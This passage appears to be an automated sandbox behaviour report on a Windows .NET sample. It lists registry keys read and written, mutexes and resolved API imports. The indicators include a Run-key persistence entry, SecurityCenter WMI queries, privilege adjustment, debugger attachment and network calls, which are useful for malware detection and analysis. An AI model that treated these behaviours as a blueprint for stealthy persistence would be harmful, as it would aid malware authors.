HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{96588179-8AB1-4680-A060-9972C564941C}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{BC163476-C110-4E13-9913-33CDA73BED4B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{FE821036-CBC7-4828-AF72-786292D4B041}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier
HKEY_PERFORMANCE_TEXT\Counter
HKEY_PERFORMANCE_DATA\238
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Write Keys

HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\ggg_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileDirectory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX
Global\.net clr networking
Local\_!MSFTHISTORY!_
Local\c:!users!seven01!appdata!local!microsoft!windows!temporary internet files!content.ie5!
Local\c:!users!seven01!appdata!roaming!microsoft!windows!cookies!
Local\c:!users!seven01!appdata!local!microsoft!windows!history!history.ie5!
Local\!IETld!Mutex
Local\c:!users!seven01!appdata!roaming!microsoft!windows!ietldcache!

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
kernelbase.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.ProcessIdToSessionId
imm32.dll.ImmCreateContext
imm32.dll.ImmDestroyContext
imm32.dll.ImmNotifyIME
imm32.dll.ImmAssociateContext
imm32.dll.ImmReleaseContext
imm32.dll.ImmGetContext
imm32.dll.ImmGetCompositionStringA
imm32.dll.ImmSetCompositionStringA
imm32.dll.ImmGetCompositionStringW
imm32.dll.ImmSetCompositionStringW
imm32.dll.ImmSetCandidateWindow
mscorsec.dll.GetPublisher
mscoree.dll.CoInitializeEE
mscoreei.dll.CoInitializeEE
mscorwks.dll.CoInitializeEE
wintrust.dll.WintrustCertificateTrust
mscorsec.dll.CORPolicyEE
wintrust.dll.SoftpubInitialize
wintrust.dll.SoftpubLoadMessage
wintrust.dll.SoftpubLoadSignature
wintrust.dll.SoftpubCheckCert
cryptsp.dll.CryptAcquireContextA
wintrust.dll.CryptSIPPutSignedDataMsg
wintrust.dll.CryptSIPGetSignedDataMsg
imagehlp.dll.ImageGetCertificateData
user32.dll.LoadStringW
ncrypt.dll.BCryptOpenAlgorithmProvider
bcryptprimitives.dll.GetHashInterface
ncrypt.dll.BCryptGetProperty
ncrypt.dll.BCryptCreateHash
ncrypt.dll.BCryptHashData
wintrust.dll.CryptSIPVerifyIndirectData
bcrypt.dll.BCryptOpenAlgorithmProvider
bcrypt.dll.BCryptGetProperty
bcrypt.dll.BCryptCreateHash
bcrypt.dll.BCryptHashData
bcrypt.dll.BCryptFinishHash
bcrypt.dll.BCryptDestroyHash
bcrypt.dll.BCryptCloseAlgorithmProvider
ncrypt.dll.BCryptFinishHash
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptSetHashParam
cryptsp.dll.CryptVerifySignatureA
cryptsp.dll.CryptDestroyKey
cryptsp.dll.CryptDestroyHash
ncrypt.dll.BCryptDestroyHash
userenv.dll.GetUserProfileDirectoryW
sechost.dll.ConvertSidToStringSidW
sechost.dll.ConvertStringSidToSidW
userenv.dll.RegisterGPNotification
gpapi.dll.RegisterGPNotificationInternal
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.CloseServiceHandle
sechost.dll.QueryServiceConfigW
cryptnet.dll.CryptGetObjectUrl
cryptnet.dll.I_CryptNetGetConnectivity
sensapi.dll.IsNetworkAlive
rpcrt4.dll.RpcBindingFromStringBindingW
rpcrt4.dll.RpcBindingSetAuthInfoExW
rpcrt4.dll.NdrClientCall2
cryptnet.dll.CryptRetrieveObjectByUrlW
setupapi.dll.SetupIterateCabinetW
kernel32.dll.RegOpenKeyExW
kernel32.dll.RegCloseKey
cabinet.dll.#20
cabinet.dll.#22
cabinet.dll.#23
sechost.dll.QueryServiceConfigA
sechost.dll.QueryServiceStatus
rpcrt4.dll.RpcStringBindingComposeA
rpcrt4.dll.RpcBindingFromStringBindingA
rpcrt4.dll.RpcEpResolveBinding
sechost.dll.LookupAccountSidLocalW
sechost.dll.LookupAccountNameLocalW
rpcrt4.dll.RpcStringFreeA
rpcrt4.dll.RpcBindingFree
winhttp.dll.WinHttpOpen
winhttp.dll.WinHttpSetTimeouts
winhttp.dll.WinHttpSetOption
winhttp.dll.WinHttpCrackUrl
shlwapi.dll.StrCmpNW
winhttp.dll.WinHttpConnect
winhttp.dll.WinHttpOpenRequest
winhttp.dll.WinHttpGetDefaultProxyConfiguration
winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser
winhttp.dll.WinHttpSendRequest
ws2_32.dll.GetAddrInfoW
ws2_32.dll.WSASocketW
ws2_32.dll.#2
ws2_32.dll.#21
ws2_32.dll.#9
ws2_32.dll.WSAIoctl
ws2_32.dll.FreeAddrInfoW
ws2_32.dll.#6
ws2_32.dll.#5
ws2_32.dll.WSARecv
ws2_32.dll.WSASend
winhttp.dll.WinHttpReceiveResponse
winhttp.dll.WinHttpQueryHeaders
winhttp.dll.WinHttpQueryDataAvailable
ws2_32.dll.#22
winhttp.dll.WinHttpReadData
ws2_32.dll.#3
winhttp.dll.WinHttpCloseHandle
cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo
bcryptprimitives.dll.GetAsymmetricEncryptionInterface
ncrypt.dll.BCryptImportKeyPair
ncrypt.dll.BCryptVerifySignature
ncrypt.dll.BCryptDestroyKey
cryptsp.dll.CryptHashData
wintrust.dll.SoftpubAuthenticode
wintrust.dll.SoftpubCleanup
ole32.dll.CoTaskMemAlloc
cryptsp.dll.CryptReleaseContext
mscoree.dll.CoUninitializeEE
mscoreei.dll.CoUninitializeEE
mscorwks.dll.CoUninitializeEE
ole32.dll.CoTaskMemFree
kernel32.dll.QueryActCtxW
kernel32.dll.GetVersionExW
kernel32.dll.GetFullPathNameW
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
mscoree.dll.ND_RI4
mscoreei.dll.ND_RI4
bcrypt.dll.BCryptGetFipsAlgorithmMode
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.VirtualProtect
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.SwitchToThread
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcessId
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.OpenProcess
psapi.dll.EnumProcessModules
psapi.dll.GetModuleInformation
psapi.dll.GetModuleBaseNameW
psapi.dll.GetModuleFileNameExW
kernel32.dll.GetProcAddress
kernel32.dll.DebugActiveProcess
kernel32.dll.WaitForDebugEvent
kernel32.dll.ContinueDebugEvent
kernel32.dll.DeleteFileA
advapi32.dll.SetKernelObjectSecurity
advapi32.dll.GetKernelObjectSecurity
ntdll.dll.NtSetInformationProcess
ntdll.dll.NtProtectVirtualMemory
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
ole32.dll.CoUninitialize
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGetHashParam
ole32.dll.CreateBindCtx
ole32.dll.CoGetObjectContext
advapi32.dll.LookupAccountSidW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
ole32.dll.MkParseDisplayName
oleaut32.dll.#2
oleaut32.dll.#6
kernel32.dll.GetThreadPreferredUILanguages
kernel32.dll.SetThreadPreferredUILanguages
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetSystemDefaultLocaleName
ole32.dll.BindMoniker
sxs.dll.SxsOleAut32RedirectTypeLibrary
advapi32.dll.RegOpenKeyW
advapi32.dll.RegEnumKeyW
advapi32.dll.RegQueryValueW
sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid
sxs.dll.SxsLookupClrGuid
kernel32.dll.ReleaseActCtx
oleaut32.dll.#9
oleaut32.dll.#4
oleaut32.dll.#283
oleaut32.dll.#284
mscoreei.dll._CorDllMain
mscoree.dll.GetTokenForVTableEntry
mscoree.dll.SetTargetForVTableEntry
mscoree.dll.GetTargetForVTableEntry
mscoreei.dll.GetTokenForVTableEntry
mscoreei.dll.SetTargetForVTableEntry
mscoreei.dll.GetTargetForVTableEntry
kernel32.dll.GetLastError
kernel32.dll.LocalAlloc
oleaut32.dll.VariantInit
oleaut32.dll.VariantClear
oleaut32.dll.#7
kernel32.dll.CreateEventW
kernel32.dll.SetEvent
ole32.dll.CoWaitForMultipleHandles
ole32.dll.IIDFromString
kernel32.dll.LoadLibraryA
wminet_utils.dll.ResetSecurity
wminet_utils.dll.SetSecurity
wminet_utils.dll.BlessIWbemServices
wminet_utils.dll.BlessIWbemServicesObject
wminet_utils.dll.GetPropertyHandle
wminet_utils.dll.WritePropertyValue
wminet_utils.dll.Clone
wminet_utils.dll.VerifyClientKey
wminet_utils.dll.GetQualifierSet
wminet_utils.dll.Get
wminet_utils.dll.Put
wminet_utils.dll.Delete
wminet_utils.dll.GetNames
wminet_utils.dll.BeginEnumeration
wminet_utils.dll.Next
wminet_utils.dll.EndEnumeration
wminet_utils.dll.GetPropertyQualifierSet
wminet_utils.dll.GetObjectText
wminet_utils.dll.SpawnDerivedClass
wminet_utils.dll.SpawnInstance
wminet_utils.dll.CompareTo
wminet_utils.dll.GetPropertyOrigin
wminet_utils.dll.InheritsFrom
wminet_utils.dll.GetMethod
wminet_utils.dll.PutMethod
wminet_utils.dll.DeleteMethod
wminet_utils.dll.BeginMethodEnumeration
wminet_utils.dll.NextMethod
wminet_utils.dll.EndMethodEnumeration
wminet_utils.dll.GetMethodQualifierSet
wminet_utils.dll.GetMethodOrigin
wminet_utils.dll.QualifierSet_Get
wminet_utils.dll.QualifierSet_Put
wminet_utils.dll.QualifierSet_Delete
wminet_utils.dll.QualifierSet_GetNames
wminet_utils.dll.QualifierSet_BeginEnumeration
wminet_utils.dll.QualifierSet_Next
wminet_utils.dll.QualifierSet_EndEnumeration
wminet_utils.dll.GetCurrentApartmentType
wminet_utils.dll.GetDemultiplexedStub
wminet_utils.dll.CreateInstanceEnumWmi
